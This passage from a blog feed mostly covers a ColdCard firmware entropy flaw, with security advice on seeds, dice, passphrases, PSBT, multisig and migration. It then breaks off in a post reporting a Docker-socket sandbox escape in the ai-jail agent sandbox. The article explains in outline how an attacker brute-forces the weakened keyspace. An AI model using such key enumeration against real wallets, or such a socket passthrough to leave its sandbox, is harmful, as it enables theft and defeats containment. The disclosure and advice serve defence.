<p>Zach Herbert also <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documented NVK&rsquo;s public attacks</a> on Foundation after it used ColdCard&rsquo;s GPL code: &ldquo;pure clone,&rdquo; &ldquo;leeches,&rdquo; and &ldquo;affinity scamming.&rdquo; Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.</p>
<p>I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.</p>
<p>So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life&rsquo;s savings.</p>
<h2>No, &ldquo;AI broke Bitcoin&rdquo; my ass<span class="hx:absolute hx:-mt-20" id="no-ai-broke-bitcoin-my-ass"></span>
    <a href="#no-ai-broke-bitcoin-my-ass" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Coinkite wrote that, because the firmware was public, &ldquo;we have to assume&rdquo; someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.</p>
<p>NVK later published <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">an apology on Coinkite&rsquo;s behalf</a>. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users&rsquo; trust. That is the bare minimum, but it matters that he said it.</p>
<p>The problem is that he ended by trying to turn the disaster into &ldquo;a sober reality of the new AI paradigm,&rdquo; arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.</p>
<p>Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that <code>#ifndef</code>, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.</p>
<p>After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, <code>secp256k1</code>, SHA-256, BIP39, or Bitcoin.</p>
<p>The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.</p>
<p>AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.</p>
<h2>What a wallet actually stores<span class="hx:absolute hx:-mt-20" id="what-a-wallet-actually-stores"></span>
    <a href="#what-a-wallet-actually-stores" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin does not sit &ldquo;inside&rdquo; a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.</p>
<p>At the most basic level, a private key is an integer chosen within the domain of the <code>secp256k1</code> curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.</p>
<p>I explained this foundation more carefully in <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Understanding Basic Cryptography Concepts - Part 1</a> and <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Understanding Basic Cryptography Concepts - Part 2</a>.</p>
<p>A modern wallet does not draw an independent key for each address. It starts with a root and uses <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.</p>
<p><a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.</p>
<h2>Twelve or 24 words is the wrong question<span class="hx:absolute hx:-mt-20" id="twelve-or-24-words-is-the-wrong-question"></span>
    <a href="#twelve-or-24-words-is-the-wrong-question" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.</p>
<p>But &ldquo;24 words&rdquo; does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.</p>
<p>That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called <code>rand()</code> with a timestamp.</p>
<h2>RNG, TRNG, and independent sources<span class="hx:absolute hx:-mt-20" id="rng-trng-and-independent-sources"></span>
    <a href="#rng-trng-and-independent-sources" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.</p>
<p>A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explains its process</a> as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.</p>
<p>Other projects prefer to combine sources. <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor uses entropy from the device and host</a>. <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documents five sources</a>: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.</p>
<p>The word that matters here is <strong>independence</strong>. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.</p>
<p>And &ldquo;combined correctly&rdquo; carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.</p>
<h2>Rolling dice is not that simple<span class="hx:absolute hx:-mt-20" id="rolling-dice-is-not-that-simple"></span>
    <a href="#rolling-dice-is-not-that-simple" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Each roll of an ideal D6 provides <code>log2(6)</code>, about 2.585 bits. That is where the figures of <strong>50 rolls</strong> for 128 bits and <strong>99 rolls</strong> for approximately 256 bits come from. <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">ColdCard&rsquo;s documentation shows the calculation and the SHA-256 applied to the sequence</a>. <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> uses the same thresholds: 50 for 12 words or 99 for 24.</p>
<p>That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people &ldquo;roll again&rdquo; when the die lands near an edge. Every human decision made after seeing the result introduces bias.</p>
<p>If I were generating a seed manually today, I would use <strong>precision casino-grade dice</strong> from more than one manufacturer or batch. <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox itself recommends five casino-grade dice</a> for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it &ldquo;didn&rsquo;t mix properly.&rdquo;</p>
<p>Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the &ldquo;most random&rdquo; words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.</p>
<p>Check what your device actually implements. In Ledger&rsquo;s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">the words must reconstruct exactly the same keys</a>. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.</p>
<p>With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer&rsquo;s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>BTC D00M Guy has <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">a visual Portuguese-language tutorial on BIP39, dice, and recovery testing</a>. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.</p>
<blockquote>
  <p>The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">SeedSigner&rsquo;s documentation</a> recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.</p>
<p>More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.</p>

</blockquote>
<h2>Passphrase: another wallet, not another password<span class="hx:absolute hx:-mt-20" id="passphrase-another-wallet-not-another-password"></span>
    <a href="#passphrase-another-wallet-not-another-password" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string <code>mnemonic</code> concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display &ldquo;incorrect password&rdquo;; it opens another, usually empty wallet.</p>
<p>A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.</p>
<p>But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39&rsquo;s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.</p>
<p>Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.</p>
<blockquote>
  <p>In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.</p>

</blockquote>
<h2>Sparrow, air gaps, and PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gaps-and-psbt"></span>
    <a href="#sparrow-air-gaps-and-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.</p>
<p>This is where <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, standardized in BIP174</a>, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.</p>
<p>The air-gapped single-sig flow looks like this:</p>
<ol>
<li>Sparrow creates the transaction on the online computer.</li>
<li>You export the PSBT through QR code or microSD.</li>
<li>ColdCard, SeedSigner, or another device displays the destination, amount, and fee.</li>
<li>You verify them on the signer&rsquo;s screen and sign.</li>
<li>Sparrow imports the signed PSBT, finalizes it, and broadcasts it.</li>
</ol>
<p>An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer&rsquo;s screen exists so you can compare the address, amount, and fee before pressing Confirm.</p>
<blockquote>
  <p>And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.</p>

</blockquote>
<h2>2-of-3 multisig: safer and much more bureaucratic<span class="hx:absolute hx:-mt-20" id="2-of-3-multisig-safer-and-much-more-bureaucratic"></span>
    <a href="#2-of-3-multisig-safer-and-much-more-bureaucratic" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, <strong>2-of-3 multisig</strong> with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.</p>
<p>You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.</p>
<p>&ldquo;Independent&rdquo; is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.</p>
<p>In Sparrow, the conceptual procedure is:</p>
<ol>
<li>Create and back up each seed separately.</li>
<li>Export the fingerprint, derivation path, and xpub from each signer.</li>
<li>Create a <code>Multi Signature</code> wallet, normally Native SegWit, with a 2-of-3 policy.</li>
<li>Import all three keystores and back up the wallet&rsquo;s output descriptor.</li>
<li>Record which signers correspond to which fingerprints.</li>
<li>Verify one receiving address on more than one signer.</li>
<li>Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.</li>
</ol>
<p>The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.</p>
<p>When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.</p>
<p>None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.</p>
<p>Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.</p>
<blockquote>
  <p>I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.</p>

</blockquote>
<p><a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">Sparrow&rsquo;s best practices guide</a> recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.</p>
<blockquote>
  <p>If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot &ldquo;replace one key&rdquo; while keeping the same addresses; the policy changed, so the scripts change too.</p>

</blockquote>
<h2>Fulcrum fixes privacy, not a weak key<span class="hx:absolute hx:-mt-20" id="fulcrum-fixes-privacy-not-a-weak-key"></span>
    <a href="#fulcrum-fixes-privacy-not-a-weak-key" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.</p>
<p>I showed the architecture and installation in <a href="/en/2026/04/01/bitcoin-on-the-home-server-sovereignty-with-coldcard-sparrow-fulcrum/">Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum</a>. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.</p>
<p>Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.</p>
<h2>How I would migrate today<span class="hx:absolute hx:-mt-20" id="how-i-would-migrate-today"></span>
    <a href="#how-i-would-migrate-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do not turn one emergency into a second accident. I would follow this order:</p>
<ol>
<li><strong>Take inventory.</strong> List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.</li>
<li><strong>Treat the seed as compromised.</strong> Do not enter it into online software or accept any third-party &ldquo;checker.&rdquo; Keep signing on the device only for as long as it takes to leave.</li>
<li><strong>Choose the new architecture.</strong> I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.</li>
<li><strong>Generate new entropy.</strong> Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.</li>
<li><strong>Back up before receiving.</strong> Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.</li>
<li><strong>Test recovery.</strong> Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.</li>
<li><strong>Verify the address on the screen.</strong> Do not trust only what Sparrow displays on the computer monitor.</li>
<li><strong>Send a small amount.</strong> Confirm that the new wallet can receive and spend. Coinkite also recommends this test.</li>
<li><strong>Move the rest immediately afterward.</strong> Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.</li>
<li><strong>Keep the old backup marked as compromised.</strong> Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.</li>
</ol>
<blockquote>
  <p>If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key&rsquo;s reach. You can reorganize UTXOs and improve the architecture later, with time to think.</p>

</blockquote>
<h2>So which hardware wallet do I recommend?<span class="hx:absolute hx:-mt-20" id="so-which-hardware-wallet-do-i-recommend"></span>
    <a href="#so-which-hardware-wallet-do-i-recommend" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Today, none.</p>
<p>After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is <strong>very hard</strong>. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.</p>
<p>That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.</p>
<p>Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company&rsquo;s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.</p>
<p>For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, &ldquo;buy this and sleep well.&rdquo; You will have to do your homework.</p>
<blockquote>
  <p><strong>NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer&rsquo;s official store.</strong> Do not save on shipping by placing your life savings in a device that passed through a stranger&rsquo;s hands. Marketplace listings, auctions, eBay, &ldquo;open box,&rdquo; refurbished hardware, and that unbelievable deal from a friend are all out of the question.</p>

</blockquote>
<p>When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard uses serialized packaging that shows evidence of opening</a>: the number appears on the bag, an internal tab, and the device itself. <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documents the holographic seals</a> for each model. <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combines sealed packaging with cryptographic attestation</a> performed by its app.</p>
<p>Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not &ldquo;see whether it works,&rdquo; and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.</p>
<p>And watch the terminology: all of this is <strong>tamper-evident</strong>, not tamper-proof. ColdCard&rsquo;s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.</p>
<p>I would start with these questions:</p>
<ol>
<li><strong>What is the published threat model?</strong> The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. &ldquo;Military-grade security&rdquo; is not a threat model.</li>
<li><strong>Where does the entropy come from, exactly?</strong> Find the sources, how they are combined, and which end-to-end tests prove the <code>New Wallet</code> flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.</li>
<li><strong>Is the code actually free, and does the binary correspond to it?</strong> &ldquo;Source available&rdquo; under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">reproducible build</a> lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, not just the manufacturer&rsquo;s promise.</li>
<li><strong>How does the company treat people who find flaws?</strong> Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly &ldquo;perfect&rdquo; history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.</li>
<li><strong>What can you verify on the trusted screen?</strong> Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.</li>
<li><strong>Is there an exit route without the manufacturer?</strong> I want interoperable standards: BIP39/BIP32 where applicable, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a>, and <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company&rsquo;s app are lock-in built on top of the key to your life.</li>
<li><strong>How do the hardware, firmware, and supply chain work?</strong> A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.</li>
<li><strong>Can you recover without improvising?</strong> Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.</li>
</ol>
<p>I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code>, and <code>responsible disclosure</code>. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.</p>
<p>For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">Sparrow&rsquo;s guide</a> recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.</p>
<p>In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.</p>
<p>The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.</p>
<p>I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.</p>
<p>This may become <strong>one of the worst episodes in the history of Bitcoin self-custody</strong>. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.</p>
<blockquote>
  <p>In the worst cases, the RNG reduced the universe to something around <code>2^40</code>. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.</p>

</blockquote>
<p>There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the <strong>New Wallet</strong> button called the correct RNG.</p>
<p>It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.</p>
<blockquote>
  <p>The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer&rsquo;s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.</p>

</blockquote>
<p>I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.</p>
<p>Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>security</category><category>hardware</category></item><item><title>AI-Jail: Security Update, Docker Goes Opt-In</title><link>https://akitaonrails.github.io/en/2026/07/25/ai-jail-security-update-docker-opt-in/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/07/25/ai-jail-security-update-docker-opt-in/</guid><pubDate>Sat, 25 Jul 2026 13:00:00 -0300</pubDate><description>&lt;p&gt;Someone opened an important issue on the &lt;a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener"&gt;ai-jail&lt;/a&gt; repo this morning: &lt;a href="https://github.com/akitaonrails/ai-jail/issues/88"target="_blank" rel="noopener"&gt;issue #88&lt;/a&gt;, reported by &lt;a href="https://github.com/mdindoffer"target="_blank" rel="noopener"&gt;@mdindoffer&lt;/a&gt;, titled &amp;ldquo;Sandbox escape via a docker socket passthrough (effective host root)&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The report checked out, and the fix is already available in &lt;strong&gt;v1.16.0&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Update to v1.16.0&lt;span class="hx:absolute hx:-mt-20" id="update-to-v1160"&gt;&lt;/span&gt;
&lt;a href="#update-to-v1160" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;If you use ai-jail, the update is the usual drill:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
